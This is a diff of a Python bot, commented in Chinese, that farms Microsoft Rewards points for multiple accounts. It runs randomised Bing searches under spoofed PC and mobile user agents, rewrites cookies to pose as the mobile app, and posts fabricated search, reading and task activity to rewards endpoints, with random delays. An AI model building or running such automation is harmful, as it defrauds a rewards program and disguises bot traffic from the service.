+ r'BFBUSR=[^;]+', r'_Rwho=[^;]+', r'ipv6=[^;]+', r'_clck=[^;]+',
+ r'_clsk=[^;]+', r'webisession=[^;]+', r'MicrosoftApplicationsTelemetryDeviceId=[^;]+',
+ r'MicrosoftApplicationsTelemetryFirstLaunchTime=[^;]+', r'MSPTC=[^;]+', r'vdp=[^;]+'
+ ]
+
+ for pattern in desktop_fields_to_remove:
+ enhanced_cookies = re.sub(pattern, '', enhanced_cookies)
+
+ enhanced_cookies = re.sub(r';;+', ';', enhanced_cookies).strip('; ')
+
+ # 添加移动端特有字段
+ # 1. SRCHD字段 - 移动端必需
+ if 'SRCHD=' not in enhanced_cookies:
+ enhanced_cookies += '; SRCHD=AF=NOFORM'
+
+ # 2. SRCHUSR字段 - 更新为移动端格式
+ current_date = datetime.now().strftime('%Y%m%d')
+ if 'SRCHUSR=' in enhanced_cookies:
+ enhanced_cookies = re.sub(r'SRCHUSR=[^;]+', f'SRCHUSR=DOB={current_date}&DS=1', enhanced_cookies)
+ else:
+ enhanced_cookies += f'; SRCHUSR=DOB={current_date}&DS=1'
+
+ return enhanced_cookies
+
+ @retry_on_failure(max_retries=2, delay=1)
+ def perform_pc_search(self, cookies: str, account_index: Optional[int] = None,
+ email: Optional[str] = None) -> bool:
+ """执行电脑搜索"""
+ q = hot_words_manager.get_random_word()
+
+ params = {
+ "q": q,
+ "qs": "HS",
+ "form": "TSASDS"
+ }
+
+ headers = {
+ "User-Agent": config.get_random_pc_ua(),
+ "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
+ "Referer": "https://rewards.bing.com/",
+ "Accept-Language": "zh-CN,zh;q=0.9",
+ "Cookie": cookies
+ }
+
+ try:
+ # 第一步:执行搜索
+ search_url = "https://cn.bing.com/search"
+ final_search_url = None
+
+ # 发送请求但不自动跟随重定向
+ search_response = self.request_manager.session.get(search_url, headers=headers, params=params, timeout=config.REQUEST_TIMEOUT, allow_redirects=False)
+
+ # 检查是否为重定向状态码
+ redirect_status_codes = {301, 302, 303, 307, 308}
+ if search_response.status_code in redirect_status_codes:
+ print_log("电脑搜索", f"cn.bing.com 返回重定向状态码 {search_response.status_code},切换到 www.bing.com", account_index)
+
+ # 使用 www.bing.com
+ search_url = "https://www.bing.com/search"
+ search_response = self.request_manager.make_request('GET', search_url, headers, params)
+ final_search_url = search_url
+ else:
+ # 如果不是重定向,检查是否成功
+ if search_response.status_code != 200:
+ # 如果 cn.bing.com 返回其他错误状态码,也尝试 www.bing.com
+ print_log("电脑搜索", f"cn.bing.com 返回状态码 {search_response.status_code},切换到 www.bing.com", account_index)
+
+ search_url = "https://www.bing.com/search"
+ search_response = self.request_manager.make_request('GET', search_url, headers, params)
+ final_search_url = search_url
+ else:
+ final_search_url = "https://cn.bing.com/search"
+
+ if search_response.status_code != 200:
+ print_log("电脑搜索", f"搜索失败,最终状态码: {search_response.status_code}", account_index)
+ return False
+
+ # 提取必要的参数
+ html_content = search_response.text
+ ig_match = re.search(r'IG:"([^"]+)"', html_content)
+ iid_match = re.search(r'data_iid\s*=\s*"([^"]+)"', html_content)
+
+ if not ig_match or not iid_match:
+ print_log("电脑搜索", "无法从页面提取 IG 或 IID,跳过报告活动", account_index)
+ return True # 搜索成功但无法报告活动,仍然返回True
+
+ # 延迟
+ time.sleep(random.uniform(config.TASK_DELAY_MIN, config.TASK_DELAY_MAX))
+
+ # 第二步:报告活动
+ ig_value = ig_match.group(1)
+ iid_value = iid_match.group(1)
+
+ # 构建完整的搜索URL
+ req = requests.Request('GET', final_search_url, params=params, headers=headers)
+ prepared_req = req.prepare()
+ full_search_url = prepared_req.url
+
+ # 根据最终使用的域名构建报告URL
+ if "www.bing.com" in final_search_url:
+ report_url = (f"https://www.bing.com/rewardsapp/reportActivity?IG={ig_value}&IID={iid_value}"
+ f"&q={quote(q)}&qs=HS&form=TSASDS&ajaxreq=1")
+ else:
+ report_url = (f"https://cn.bing.com/rewardsapp/reportActivity?IG={ig_value}&IID={iid_value}"
+ f"&q={quote(q)}&qs=HS&form=TSASDS&ajaxreq=1")
+
+ post_headers = {
+ "User-Agent": headers["User-Agent"],
+ "Accept": "*/*",
+ "Origin": final_search_url.split('/search')[0], # 提取域名部分
+ "Referer": full_search_url,
+ "Content-Type": "application/x-www-form-urlencoded",
+ "Cookie": cookies
+ }
+
+ post_data = f"url={quote(full_search_url, safe='')}&V=web"
+ report_response = self.request_manager.make_request('POST', report_url, post_headers, data=post_data)
+
+ if 200 <= report_response.status_code < 400:
+ return True
+ else:
+ print_log("电脑搜索", f"报告活动失败,状态码: {report_response.status_code}", account_index)
+ return True # 搜索成功但报告失败,仍然返回True
+
+ except Exception as e:
+ print_log("电脑搜索", f"搜索失败: {e}", account_index)
+ return False
+
+ @retry_on_failure(max_retries=2, delay=1)
+ def perform_mobile_search(self, cookies: str, account_index: Optional[int] = None,
+ email: Optional[str] = None) -> bool:
+ """执行移动搜索"""
+ q = hot_words_manager.get_random_word()
+
+ # 生成随机的tnTID和tnCol参数
+ random_tnTID = config.generate_random_tnTID()
+ random_tnCol = config.generate_random_tnCol()
+
+ # 处理cookie
+ enhanced_cookies = self._enhance_mobile_cookies(cookies)
+
+ params = {
+ "q": q,
+ "form": "NPII01",
+ "filters": f'tnTID:"{random_tnTID}" tnVersion:"d1d6d5bcada64df7a0182f7bc3516b45" Segment:"popularnow.carousel" tnCol:"{random_tnCol}" tnScenario:"TrendingTopicsAPI" tnOrder:"4a2117a4-4237-4b9e-85d0-67fef7b5f2be"',
+ "ssp": "1",
+ "safesearch": "moderate",
+ "setlang": "zh-hans",
+ "cc": "CN",
+ "ensearch": "0",
+ "PC": "SANSAAND"
+ }
+
+ headers = {
+ "user-agent": config.get_random_mobile_ua(),
+ "accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3",
+ "x-search-market": "zh-CN",
+ "upgrade-insecure-requests": "1",
+ "accept-encoding": "gzip, deflate",
+ "accept-language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7",
+ "x-requested-with": "com.microsoft.bing",
+ "cookie": enhanced_cookies
+ }
+
+ try:
+ # 第一步:执行搜索
+ search_url = "https://cn.bing.com/search"
+ final_search_url = None
+ final_headers = headers.copy()
+
+ # 发送请求但不自动跟随重定向
+ search_response = self.request_manager.session.get(search_url, headers=headers, params=params, timeout=config.REQUEST_TIMEOUT, allow_redirects=False)
+
+ # 检查是否为重定向状态码
+ redirect_status_codes = {301, 302, 303, 307, 308}
+ if search_response.status_code in redirect_status_codes:
+ print_log("移动搜索", f"cn.bing.com 返回重定向状态码 {search_response.status_code},切换到 www.bing.com", account_index)
+
+ # 使用 www.bing.com,添加必要的请求头
+ search_url = "https://www.bing.com/search"
+
+ # 添加重定向相关参数
+ params.update({
+ "rdr": "1",
+ "rdrig": config.generate_random_tnTID()[:32] # 使用随机IG值
+ })
+
+ search_response = self.request_manager.make_request('GET', search_url, final_headers, params)
+ final_search_url = search_url
+ else:
+ # 如果不是重定向,检查是否成功
+ if search_response.status_code != 200:
+ # 如果 cn.bing.com 返回其他错误状态码,也尝试 www.bing.com
+ print_log("移动搜索", f"cn.bing.com 返回状态码 {search_response.status_code},切换到 www.bing.com", account_index)
+
+ search_url = "https://www.bing.com/search"
+
+ search_response = self.request_manager.make_request('GET', search_url, final_headers, params)
+ final_search_url = search_url
+ else:
+ final_search_url = "https://cn.bing.com/search"
+
+ if search_response.status_code != 200:
+ print_log("移动搜索", f"搜索失败,最终状态码: {search_response.status_code}", account_index)
+ return False
+
+ # 延迟
+ time.sleep(random.uniform(config.TASK_DELAY_MIN, config.TASK_DELAY_MAX))
+
+ # 第二步:报告活动
+ req = requests.Request('GET', final_search_url, headers=final_headers, params=params)
+ prepared_req = req.prepare()
+ full_search_url = prepared_req.url
+
+ # 根据最终使用的域名构建报告URL
+ if "www.bing.com" in final_search_url:
+ report_url = "https://www.bing.com/rewardsapp/reportActivity"
+ else:
+ report_url = "https://cn.bing.com/rewardsapp/reportActivity"
+
+ post_data_str = f"url={quote(full_search_url, safe='')}&V=web"
+
+ # 构建报告活动的请求头
+ post_headers = {
+ "user-agent": final_headers["user-agent"],
+ "accept": "*/*",
+ "content-type": "application/x-www-form-urlencoded; charset=utf-8",
+ "cookie": enhanced_cookies
+ }
+
+ # 根据域名设置不同的referer
+ if "www.bing.com" in final_search_url:
+ post_headers.update({
+ "referer": "https://www.bing.com/",
+ "request_user_info": "true",
+ "accept-encoding": "gzip",
+ "x-search-market": "zh-CN"
+ })
+ else:
+ post_headers["referer"] = "https://cn.bing.com/"
+
+ report_response = self.request_manager.make_request('POST', report_url, post_headers, data=post_data_str)
+
+ if 200 <= report_response.status_code < 400:
+ return True
+ else:
+ print_log("移动搜索", f"报告活动失败,状态码: {report_response.status_code}", account_index)
+ return True # 搜索成功但报告失败,仍然返回True
+
+ except Exception as e:
+ print_log("移动搜索", f"搜索失败: {e}", account_index)
+ return False
+
+ # ==================== 5. 阅读任务相关方法 ====================
+ @retry_on_failure()
+ def submit_read_activity(self, access_token: str, account_index: Optional[int] = None) -> bool:
+ """提交阅读活动"""
+ try:
+ headers = {
+ 'Content-Type': 'application/json',
+ 'Authorization': f'Bearer {access_token}',
+ 'User-Agent': config.get_random_mobile_ua(),
+ 'Accept-Encoding': 'gzip',
+ 'x-rewards-partnerid': 'startapp',
+ 'x-rewards-appid': 'SAAndroid/32.2.430730002',
+ 'x-rewards-country': 'cn',
+ 'x-rewards-language': 'zh-hans',
+ 'x-rewards-flights': 'rwgobig'
+ }
+
+ payload = {
+ 'amount': 1,
+ 'country': 'cn',
+ 'id': '',
+ 'type': 101,
+ 'attributes': {
+ 'offerid': 'ENUS_readarticle3_30points'
+ }
+ }
+
+ response = self.request_manager.make_request(
+ 'POST',
+ 'https://prod.rewardsplatform.microsoft.com/dapi/me/activities',
+ headers,
+ data=json.dumps(payload), account_index=account_index
+ )
+
+ if response.status_code == 200:
+ # print_log("阅读提交", "文章阅读提交成功", account_index)
+ return True
+ else:
+ print_log("阅读提交", f"文章阅读提交失败,状态码: {response.status_code}", account_index)
+ return False
+
+ except Exception as e:
+ if hasattr(e, 'response') and e.response:
+ try:
+ error_data = e.response.json()
+ if (error_data.get('error', {}).get('description', '').find('already') != -1):
+ print_log("阅读提交", "文章阅读任务已完成", account_index)
+ return True
+ except:
+ pass
+
+ print_log("阅读提交", f"文章阅读提交异常: {e}", account_index)
+ return False
+
+ def complete_read_tasks(self, refresh_token: str, account_alias: str = "", account_index: Optional[int] = None) -> int:
+ """完成阅读任务 - 支持令牌缓存"""
+ if not refresh_token:
+ print_log("阅读任务", "未提供刷新令牌,跳过阅读任务", account_index)
+ return 0
+
+ try:
+ # 获取访问令牌(支持令牌自动更新)
+ access_token = self.get_access_token(refresh_token, account_alias, account_index)
+ if not access_token:
+ print_log("阅读任务", "无法获取访问令牌,跳过阅读任务", account_index)
+ return 0
+
+ # 获取阅读进度
+ try:
+ progress_data = self.get_read_progress(access_token, account_index)
+ max_reads = progress_data['max']
+ current_progress = progress_data['progress']
+ except Exception as e:
+ print_log("阅读任务", f"获取阅读进度失败: {e},跳过阅读任务", account_index)
+ return 0
+
+
+ if current_progress >= max_reads:
+ # print_log("阅读任务", "阅读任务已完成", account_index)
+ return current_progress
+ else:
+ print_log("阅读任务", f"当前阅读进度: {current_progress}/{max_reads}", account_index)
+
+ # 执行阅读任务
+ read_attempts = 0
+ max_attempts = max_reads - current_progress
+
+ for i in range(max_attempts):
+ print_log("阅读任务", f"执行第 {i + 1} 次阅读任务", account_index)
+
+ if self.submit_read_activity(access_token, account_index):
+ read_attempts += 1
+
+ # 延迟一段时间
+ delay = random.uniform(5, 10)
+ print_log("阅读任务", f"阅读任务提交成功,等待 {delay:.1f} 秒", account_index)
+ time.sleep(delay)
+
+ # 再次检查进度
+ try:
+ progress_data = self.get_read_progress(access_token, account_index)
+ new_progress = progress_data['progress']
+ except Exception as e:
+ print_log("阅读任务", f"重新获取进度失败: {e},继续执行", account_index)
+ # 如果重新获取进度失败,继续执行但不更新进度
+ continue
+
+ if new_progress > current_progress:
+ current_progress = new_progress
+ print_log("阅读任务", f"阅读进度更新: {current_progress}/{max_reads}", account_index)
+
+ if current_progress >= max_reads:
+ # print_log("阅读任务", "所有阅读任务已完成", account_index)
+ break
+ else:
+ print_log("阅读任务", f"第 {i + 1} 次阅读任务提交失败", account_index)
+ time.sleep(random.uniform(2, 5))
+
+ print_log("阅读任务", f"阅读任务执行完成,最终进度: {current_progress}/{max_reads}", account_index)
+ return current_progress
+
+ except Exception as e:
+ print_log("阅读任务", f"阅读任务执行异常: {e}", account_index)
+ return 0
+
+ # ==================== 6. 活动任务相关方法 ====================
+ def complete_daily_set_tasks(self, cookies: str, token: str, account_index: Optional[int] = None) -> int:
+ """完成每日活动任务"""
+ completed_count = 0
+ try:
+ # 获取dashboard数据
+ dashboard_data = self.get_dashboard_data(cookies, account_index)
+ if not dashboard_data:
+ return completed_count
+
+ # 提取每日任务
+ today_str = date.today().strftime('%m/%d/%Y')
+ dashboard = dashboard_data.get('dashboard', {})
+ if not dashboard:
+ return completed_count
+ daily_set_promotions = dashboard.get('dailySetPromotions', {})
+ if not daily_set_promotions:
+ daily_set_promotions = {}
+ daily_tasks = daily_set_promotions.get(today_str, [])
+
+ if not daily_tasks:
+ # 检查是否所有任务都已完成
+ dashboard = dashboard_data.get('dashboard', {})
+ if dashboard:
+ all_daily_promotions = dashboard.get('dailySetPromotions', {})
+ if all_daily_promotions and today_str in all_daily_promotions:
+ # 有任务数据但为空,说明可能已完成或其他原因
+ pass # 不输出"没有找到任务"的日志,让状态检查方法处理
+ else:
+ print_log("每日活动", "没有找到今日的每日活动任务", account_index)
+ return completed_count
+
+ # 过滤未完成的任务
+ incomplete_tasks = [task for task in daily_tasks if not task.get('complete')]
+
+ if not incomplete_tasks:
+ return completed_count
+
+ print_log("每日活动", f"找到 {len(incomplete_tasks)} 个未完成的每日活动任务", account_index)
+
+ # 执行任务
+ for i, task in enumerate(incomplete_tasks, 1):
+ print_log("每日活动", f"⏳ 执行任务 {i}/{len(incomplete_tasks)}: {task.get('title', '未知任务')}", account_index)
+
+ if self._execute_task(task, token, cookies, account_index):
+ completed_count += 1
+ print_log("每日活动", f"✅ 任务完成: {task.get('title', '未知任务')}", account_index)
+ else:
+ print_log("每日活动", f"❌ 任务失败: {task.get('title', '未知任务')}", account_index)
+
+ # 随机延迟
+ time.sleep(random.uniform(config.TASK_DELAY_MIN, config.TASK_DELAY_MAX))
+
+ # print_log("每日活动", f"每日活动执行完成,成功完成 {completed_count} 个任务", account_index)
+
+ except Exception as e:
+ print_log('每日活动出错', f"异常: {e}", account_index)
+
+ return completed_count
+
+ def get_daily_tasks_status(self, cookies: str, account_index: Optional[int] = None) -> tuple:
+ """获取每日活动任务状态"""
+ try:
+ # 获取dashboard数据
+ dashboard_data = self.get_dashboard_data(cookies, account_index)
+ if not dashboard_data:
+ return 0, 0
+
+ # 提取每日任务
+ today_str = date.today().strftime('%m/%d/%Y')
+ dashboard = dashboard_data.get('dashboard', {})
+ if not dashboard:
+ return 0, 0
+ daily_set_promotions = dashboard.get('dailySetPromotions', {})
+ if not daily_set_promotions:
+ daily_set_promotions = {}
+ daily_tasks = daily_set_promotions.get(today_str, [])
+
+ if not daily_tasks:
+ return 0, 0
+
+ # 统计已完成和总任务数
+ total_tasks = len(daily_tasks)
+ completed_tasks = len([task for task in daily_tasks if task.get('complete')])
+
+ return completed_tasks, total_tasks
+
+ except Exception as e:
+ print_log('每日活动状态获取出错', f"异常: {e}", account_index)
+ return 0, 0
+
+ def complete_more_activities_with_filtering(self, cookies: str, token: str, account_index: Optional[int] = None) -> int:
+ """完成更多活动任务(带智能筛选)"""
+ try:
+ # 获取dashboard数据
+ dashboard_data = self.get_dashboard_data(cookies, account_index)
+ if not dashboard_data:
+ print_log("更多活动", "无法获取dashboard数据,跳过更多活动", account_index)
+ return 0
+
+ # 提取更多活动任务(已内置筛选逻辑)
+ dashboard = dashboard_data.get('dashboard', {})
+ if not dashboard:
+ return 0
+
+ # 获取morePromotions和promotionalItems两个数组
+ more_promotions = dashboard.get('morePromotions', [])
+ promotional_items = dashboard.get('promotionalItems', [])
+
+ # 合并两个数组并提取任务
+ all_promotions = more_promotions + promotional_items
+ valuable_tasks = self._extract_tasks(all_promotions)
+
+ if not valuable_tasks:
+ return 0
+
+ print_log("更多活动", f"找到 {len(valuable_tasks)} 个有价值的更多活动任务", account_index)
+
+ # 执行筛选后的任务
+ completed_count = 0
+ for i, task in enumerate(valuable_tasks, 1):
+ print_log("更多活动", f"⏳ 执行任务 {i}/{len(valuable_tasks)}: {task.get('title', '未知任务')}", account_index)
+
+ if self._execute_task(task, token, cookies, account_index):
+ completed_count += 1
+ print_log("更多活动", f"✅ 任务完成: {task.get('title', '未知任务')}", account_index)
+ else:
+ print_log("更多活动", f"❌ 任务失败: {task.get('title', '未知任务')}", account_index)
+
+ # 随机延迟
+ time.sleep(random.uniform(config.TASK_DELAY_MIN, config.TASK_DELAY_MAX))
+
+ return completed_count
+
+ except Exception as e:
+ print_log("更多活动出错", f"异常: {e}", account_index)
+ return 0
+
+ def get_more_activities_status(self, cookies: str, account_index: Optional[int] = None) -> tuple:
+ """获取更多活动任务状态"""
+ try:
+ # 获取dashboard数据
+ dashboard_data = self.get_dashboard_data(cookies, account_index)
+ if not dashboard_data:
+ return 0, 0
+
+ # 提取更多活动任务
+ dashboard = dashboard_data.get('dashboard', {})
+ if not dashboard:
+ return 0, 0
+
+ # 获取morePromotions和promotionalItems两个数组
+ more_promotions = dashboard.get('morePromotions', [])
+ promotional_items = dashboard.get('promotionalItems', [])
+
+ # 合并两个数组
+ all_promotions = more_promotions + promotional_items
+ if not all_promotions:
+ return 0, 0
+
+ # 统计所有有价值任务(包括已完成和未完成的)
+ valuable_tasks = []
+ completed_count = 0
+
+ for promotion in all_promotions:
+ complete = promotion.get('complete')
+ priority = promotion.get('priority')
+ attributes = promotion.get('attributes', {})
+ is_unlocked = attributes.get('is_unlocked')
+ max_points = promotion.get('pointProgressMax', 0)
+
+ # 跳过没有积分奖励的任务
+ if max_points <= 0:
+ continue
+
+ # 跳过明确被锁定的任务
+ if is_unlocked == 'False':
+ continue
+
+ # 统计所有有积分奖励且未明确锁定的任务
+ # 优先级检查:-30到7都是有效优先级,None值视为无效
+ if priority is not None and -30 <= priority <= 7:
+ valuable_tasks.append(promotion)
+ if complete: # 已完成的有价值任务
+ completed_count += 1
+
+ total_valuable_tasks = len(valuable_tasks)
+
+ return completed_count, total_valuable_tasks
+
+ except Exception as e:
+ print_log('更多活动状态获取出错', f"异常: {e}", account_index)
+ return 0, 0
+
+ # ==================== 7. 内部辅助方法 ====================
+ def _extract_tasks(self, more_promotions: List[Dict[str, Any]]) -> List[Dict[str, Any]]:
+ """提取任务"""
+ tasks = []
+ for promotion in more_promotions:
+ complete = promotion.get('complete')
+ priority = promotion.get('priority')
+ attributes = promotion.get('attributes', {})
+ is_unlocked = attributes.get('is_unlocked')
+
+ # 任务必须未完成
+ if complete == False:
+ # 严格检查解锁状态,排除明确被锁定的任务
+ if is_unlocked == 'False':
+ continue # 跳过明确被锁定的任务
+
+ # 跳过没有积分奖励的任务
+ max_points = promotion.get('pointProgressMax', 0)
+ if max_points <= 0:
+ continue
+
+ # 只执行解锁的任务或解锁状态未知但优先级合适的任务
+ if (priority is not None and -30 <= priority <= 7 and (is_unlocked == 'True' or is_unlocked is None)):
+ tasks.append(promotion)
+ return tasks
+
+ def _execute_task(self, task: Dict[str, Any], token: str, cookies: str, account_index: Optional[int] = None) -> bool:
+ """执行单个任务"""
+ try:
+ destination_url = task.get('destinationUrl') or task.get('attributes', {}).get('destination')
+ if not destination_url:
+ print_log("任务执行", f"❌ 任务 {task.get('name')} 没有目标URL", account_index)
+ return False
+
+ # 设置任务执行请求头
+ headers = {
+ 'User-Agent': config.get_random_pc_ua(),
+ 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
+ 'Cookie': cookies
+ }
+
+ # 发送请求
+ response = self.request_manager.make_request('GET', destination_url, headers, timeout=config.REQUEST_TIMEOUT, account_index=account_index)
+
+ if response.status_code == 200:
+ # # 添加延时,让系统有时间更新任务状态
+ # delay_time = random.uniform(7, 10)
+ # # print_log("任务执行", f"⏳ 任务访问成功,等待 {delay_time:.1f} 秒让系统更新状态...", account_index)
+ # time.sleep(delay_time)
+
+ # 报告活动
+ if self._report_activity(task, token, cookies, account_index):
+ return True
+ else:
+ print_log("任务执行", f"⚠️ 任务执行成功但活动报告失败", account_index)
+ return False
+ else:
+ print_log("任务执行", f"❌ 任务执行失败,状态码: {response.status_code}", account_index)
+ return False
+
+ except Exception as e:
+ print_log("任务执行", f"❌ 执行任务时出错: {e}", account_index)
+ return False
+
+ def _report_activity(self, task: Dict[str, Any], token: str, cookies: str, account_index: Optional[int] = None) -> bool:
+ """报告任务活动,真正完成任务"""
+ if not token:
+ print_log("活动报告", "❌ 缺少token", account_index)
+ return False
+
+ try:
+ post_url = 'https://rewards.bing.com/api/reportactivity?X-Requested-With=XMLHttpRequest'
+ post_headers = {
+ 'User-Agent': config.get_random_pc_ua(),
+ 'Accept': 'application/json, text/javascript, */*; q=0.01',
+ 'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
+ 'X-Requested-With': 'XMLHttpRequest',
+ 'Origin': 'https://rewards.bing.com',
+ 'Referer': 'https://rewards.bing.com/',
+ 'Cookie': cookies
+ }
+ payload = f"id={task.get('offerId', task.get('name'))}&hash={task.get('hash', '')}&timeZone=480&activityAmount=1&dbs=0&form=&type=&__RequestVerificationToken={token}"
+ response = self.request_manager.make_request('POST', post_url, post_headers, data=payload, timeout=config.REQUEST_TIMEOUT, account_index=account_index)
+
+ if response.status_code == 200:
+ try:
+ result = response.json()
+ # print_log("活动报告", f"API响应: {result}", account_index) # 添加详细日志
+ if result.get("activity") and result["activity"].get("points", 0) >= 0:
+ print_log("任务奖励", f"✅ 获得{result['activity']['points']}积分", account_index)
+ return True
+ else:
+ print_log("活动报告", f"❌ 响应中没有积分信息: {result}", account_index)
+ return False
+ except json.JSONDecodeError as e:
+ print_log("活动报告", f"❌ JSON解析失败: {e}, 响应内容: {response.text}", account_index)
+ return False
+ else:
+ print_log("活动报告", f"❌ API状态码: {response.status_code}, 响应: {response.text}", account_index)
+ return False
+ except Exception as e:
+ print_log("活动报告", f"❌ 异常: {e}", account_index)
+ return False
+
+ # ==================== 8. 通知方法 ====================
+ def _send_cookie_invalid_notification(self, account_index: Optional[int] = None):
+ """发送Cookie失效的独立通知"""
+ try:
+ self.notification_manager.send_cookie_invalid(account_index)
+ print_log("Cookie通知", f"已发送账号{account_index}的Cookie失效通知", account_index)
+ except Exception as e:
+ print_log("Cookie通知", f"发送Cookie失效通知失败: {e}", account_index)
+
+ def _send_token_invalid_notification(self, account_index: Optional[int] = None):
+ """发送刷新令牌失效的独立通知"""
+ try:
+ title = f"🚨 Microsoft Rewards 刷新令牌失效警告"
+ content = f"账号{account_index} 的刷新令牌已失效,阅读任务无法执行!\n\n"
+ content += f"失效时间: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}\n"
+ content += f"需要处理: 重新获取账号{account_index}的刷新令牌\n\n"
+ content += f"刷新令牌获取步骤:\n"
+ content += f"1. 安装 油猴脚本\n"
+ content += f"2. 访问 https://login.live.com/oauth20_authorize.srf?client_id=0000000040170455&scope=service::prod.rewardsplatform.microsoft.com::MBI_SSL&response_type=code&redirect_uri=https://login.live.com/oauth20_desktop.srf\n"
+ content += f"3. 登录后,使用 油猴脚本,自动获取刷新令牌\n"
+ content += f"4. 更新环境变量 bing_token_{account_index} 为获取到的刷新令牌\n"
+ content += f"5. 重新运行脚本\n"
+ self.notification_manager.send(title, content)
+ print_log("令牌通知", f"已发送账号{account_index}的刷新令牌失效通知", account_index)
+ except Exception as e:
+ print_log("令牌通知", f"发送刷新令牌失效通知失败: {e}", account_index)
+
+ def get_today_earned_points(self, dashboard_data: Dict[str, Any], account_index: Optional[int] = None) -> int:
+ """从dashboard数据中获取今日总共获得的积分"""
+ if not dashboard_data:
+ return 0
+
+ # 尝试从不同位置获取pointsSummary
+ points_summary = None
+
+ # 如果根级别没有,尝试从status获取
+ if not points_summary:
+ status = dashboard_data.get('status', {})
+ if status and 'pointsSummary' in status:
+ points_summary = status.get('pointsSummary', [])
+
+ if not points_summary:
+ return 0
+
+ # 获取今天是周几 (0=周日, 1=周一, ..., 6=周六)
+ import datetime
+ today_weekday = datetime.datetime.now().weekday()
+ # Python的weekday(): 0=周一, 6=周日
+ # API的dayOfWeek: 0=周日, 1=周一, ..., 6=周六
+ api_today = (today_weekday + 1) % 7
+
+ # 查找今日的积分记录
+ for day_record in points_summary:
+ if day_record.get('dayOfWeek') == api_today:
+ return day_record.get('pointsEarned', 0)
+
+ return 0
+
+# ==================== 主程序类 ====================
+class RewardsBot:
+ """Microsoft Rewards 自动化机器人主类 - 多账号分离版本"""
+
+ def __init__(self):
+ self.accounts = AccountManager.get_accounts()
+
+ if not self.accounts:
+ print_log("启动错误", "没有检测到任何账号配置,程序退出")
+ print_log("配置提示", "请设置环境变量: bing_ck_1, bing_ck_2... 和可选的 bing_token_1, bing_token_2...")
+ exit(1)
+
+ # 检查是否应该跳过执行(在获取账号后检查,避免在账号配置错误时也跳过)
+ current_complete_count = global_cache_manager.get_tasks_complete_count()
+
+ # 强制检查计数是否超过设定次数
+ if current_complete_count >= TASK_CONFIG['MAX_REPEAT_COUNT']:
+ print_log("脚本跳过", f"已重复运行{current_complete_count}次,跳过执行")
+ exit(0)
+ elif current_complete_count > 0:
+ print_log("系统提示", f"已重复运行{current_complete_count}/{TASK_CONFIG['MAX_REPEAT_COUNT']}次", None)
+
+ print_log("初始化", f"检测到 {len(self.accounts)} 个账号,即将开始...")
+
+ # 统计有效刷新令牌数量
+ valid_tokens = sum(1 for account in self.accounts if account.refresh_token)
+ if valid_tokens > 0:
+ print_log("初始化", f"检测到 {valid_tokens} 个令牌,启用APP阅读...")
+
+ def _calculate_required_searches(self, dashboard_data: Dict[str, Any], search_type: str) -> int:
+ """根据dashboard数据精确计算需要的搜索次数"""
+ if not dashboard_data:
+ return 0
+
+ dashboard = dashboard_data.get('dashboard', {})
+ user_status = dashboard.get('userStatus', {})
+ counters = user_status.get('counters', {})
+ search_tasks = counters.get(search_type, [])
+
+ if not search_tasks:
+ return 0
+
+ task = search_tasks[0] # 通常只有一个搜索任务
+ if task.get('complete', False):
+ return 0
+
+ max_points = task.get('pointProgressMax', 0)
+ current_points = task.get('pointProgress', 0)
+ points_needed = max_points - current_points
+
+ # 每次搜索3积分,但从第3次搜索开始计分
+ if points_needed <= 0:
+ return 0
+
+ # 计算需要的搜索次数(向上取整)
+ searches_needed = (points_needed + 2) // 3 # +2是为了向上取整
+ return max(0, searches_needed)
+
+ def _get_account_level_details(self, dashboard_data: Dict[str, Any]) -> Dict[str, Any]:
+ """获取详细的账号等级信息"""
+ if not dashboard_data:
+ return {'level': 'Level1', 'name': '一级', 'progress': 0, 'max': 0}
+
+ dashboard = dashboard_data.get('dashboard', {})
+ user_status = dashboard.get('userStatus', {})
+ level_info = user_status.get('levelInfo', {})
+
+ # 确保level_info不为None
+ if not level_info:
+ return {'level': 'Level1', 'name': '一级', 'progress': 0, 'max': 0}
+
+ return {
+ 'level': level_info.get('activeLevel', 'Level1'),
+ 'name': level_info.get('activeLevelName', '一级'),
+ 'progress': level_info.get('progress', 0),
+ 'max': level_info.get('progressMax', 0),
+ 'last_month_level': level_info.get('lastMonthLevel', 'Level1')
+ }
+
+ def process_single_account(self, account: AccountInfo, service: RewardsService, stop_event: threading.Event) -> Optional[str]:
+ """处理单个账号的完整流程"""
+ try:
+ account_index = account.index
+ cookies = account.cookies
+
+ # 获取账号信息
+ initial_data = service.get_rewards_points(cookies, account_index)
+ if not initial_data:
+ print_log("账号处理", "获取账号信息失败,跳过此账号", account_index)
+ return None
+
+ email = initial_data.get('email', '未知邮箱')
+ token = initial_data.get('token')
+ current_points = initial_data['points'] # 当前即时积分
+
+
+
+ logger.account_start(email, current_points, account_index)
+
+ # 执行阅读任务
+ read_completed = 0
+ if account.refresh_token:
+ read_completed = service.complete_read_tasks(account.refresh_token, account.alias, account_index)
+ logger.success("阅读任务", f"已完成 ({read_completed}/30)", account_index)
+ else:
+ logger.skip("阅读任务", "未配置刷新令牌", account_index)
+
+ # 初始化变量,避免未定义错误
+ daily_completed = 0
+ daily_total = 0
+ more_completed = 0
+ more_total = 0
+
+ # 执行每日任务
+ if token:
+ # 先执行任务
+ new_daily_completed = service.complete_daily_set_tasks(cookies, token, account_index)
+ # 然后获取总的完成状态
+ daily_completed, daily_total = service.get_daily_tasks_status(cookies, account_index)
+ logger.success("每日活动", f"已完成 ({daily_completed}/{daily_total})", account_index)
+ else:
+ logger.skip("每日活动", "无法获取token", account_index)
+
+ # 执行更多任务
+ if token:
+ # 先执行任务
+ new_more_completed = service.complete_more_activities_with_filtering(cookies, token, account_index)
+ # 然后获取总的完成状态
+ more_completed, more_total = service.get_more_activities_status(cookies, account_index)
+ logger.success("更多活动", f"已完成 ({more_completed}/{more_total})", account_index)
+ else:
+ logger.skip("更多活动", "无法获取token", account_index)
+
+
+
+ # 执行搜索任务
+ self._perform_search_tasks(cookies, account_index, email, service, stop_event)
+
+ # 获取最终积分
+ final_data = service.get_rewards_points(cookies, account_index)
